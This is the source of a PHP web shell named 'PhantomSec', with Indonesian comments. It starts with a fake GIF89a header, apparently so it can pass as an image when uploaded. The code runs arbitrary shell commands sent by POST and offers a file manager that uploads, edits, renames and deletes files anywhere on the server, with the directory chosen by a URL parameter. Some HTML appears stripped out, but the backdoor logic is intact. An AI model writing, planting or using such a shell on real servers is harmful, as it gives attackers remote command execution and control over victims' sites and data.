GIF89a;
PhantomSec
Phantom Sec
= 1073741824) return number_format($bytes / 1073741824, 2) . ' GB';
if ($bytes >= 1048576) return number_format($bytes / 1048576, 2) . ' MB';
if ($bytes >= 1024) return number_format($bytes / 1024, 2) . ' KB';
return $bytes . ' B';
}
// Direktori kerja
$current_dir = isset($_GET['dir']) ? $_GET['dir'] : getcwd();
if (!is_dir($current_dir)) $current_dir = getcwd();
chdir($current_dir);
// ======================= SHELL COMMAND =======================
if (!isset($_GET['mode']) || $_GET['mode'] == 'shell') {
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['command'])) {
$command = escapeshellcmd($_POST['command']);
echo "
Command: " . htmlspecialchars($command) . " ";
echo "
";
$output = shell_exec($command . " 2>&1");
echo htmlspecialchars($output);
echo " ";
}
?>
Current Directory:
✅ File uploaded successfully: " . htmlspecialchars($target_file) . "
";
} else {
echo "❌ Upload failed.
";
}
}
?>
Upload ke direktori:
✏️ Renamed: " . htmlspecialchars($old_name) . " → " . htmlspecialchars($new_name) . "";
} else {
echo "❌ Rename failed.
";
}
} else {
echo "❌ Invalid name or file not found.
";
}
}
// Handle Delete
if (isset($_GET['delete']) && !empty($_GET['delete'])) {
$file_to_delete = basename($_GET['delete']);
if (file_exists($file_to_delete) && is_file($file_to_delete)) {
if (unlink($file_to_delete)) {
echo "🗑️ Deleted: " . htmlspecialchars($file_to_delete) . "
";
} else {
echo "❌ Delete failed.
";
}
} else {
echo "❌ File not found.
";
}
}
// Handle Edit
if (isset($_GET['edit']) && !empty($_GET['edit'])) {
$edit_file = basename($_GET['edit']);
if (file_exists($edit_file) && is_file($edit_file) && is_readable($edit_file) && is_writable($edit_file)) {
$content = file_get_contents($edit_file);
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['new_content'])) {
if (file_put_contents($edit_file, $_POST['new_content'])) {
echo "✏️ Saved: " . htmlspecialchars($edit_file) . "
";
$content = $_POST['new_content'];
} else {
echo "❌ Write failed.
";
}
}
?>
Editing:
← Back to File Manager
❌ Cannot edit file (permission/read/write).";
}
} else {
// ========== TAMPILAN DAFTAR FILE & FOLDER DENGAN RENAME ==========
echo "📁 File Manager - " . htmlspecialchars($current_dir) . " ";
echo "⬆️ Up One Level ";
// Form rename jika ada parameter 'rename_form'
if (isset($_GET['rename_form']) && !empty($_GET['rename_form'])) {
$target = basename($_GET['rename_form']);
if (file_exists($target)) {
echo "";
echo "Rename: " . htmlspecialchars($target) . " ";
echo "
";
echo " ";
echo " ";
echo " ";
echo "New name: ";
echo " ";
echo " ";
echo " ";
echo "";
}
}
echo "";
echo " hilabName Size Modified Actions ";
$files = scandir($current_dir);
foreach ($files as $file) {
if ($file == '.' || $file == '..') continue;
$full_path = $current_dir . DIRECTORY_SEPARATOR . $file;
$is_dir = is_dir($full_path);
$size = $is_dir ? '-' : filesize($full_path);
$size_display = $is_dir ? '<DIR>' : formatSizeUnits($size);
$modified = date("Y-m-d H:i:s", filemtime($full_path));
// Deteksi ekstensi berbahaya
$ext = strtolower(pathinfo($file, PATHINFO_EXTENSION));
$danger_exts = ['php', 'phtml', 'php3', 'php4', 'php5', 'shtml', 'pl', 'cgi', 'py', 'sh'];
$row_class = in_array($ext, $danger_exts) ? 'danger-file' : '';
echo "";
echo "";
if ($is_dir) echo "📁 ";
else echo "📄 ";
echo htmlspecialchars($file);
echo " ";
echo "$size_display ";
echo "$modified ";
echo "";
if ($is_dir) {
echo "📂 Open ";
echo "✏️ Rename ";
} else {
echo "✏️ Edit ";
echo "🏷️ Rename ";
echo "🗑️ Delete ";
}
echo " ";
}
echo "
";
}
}
?>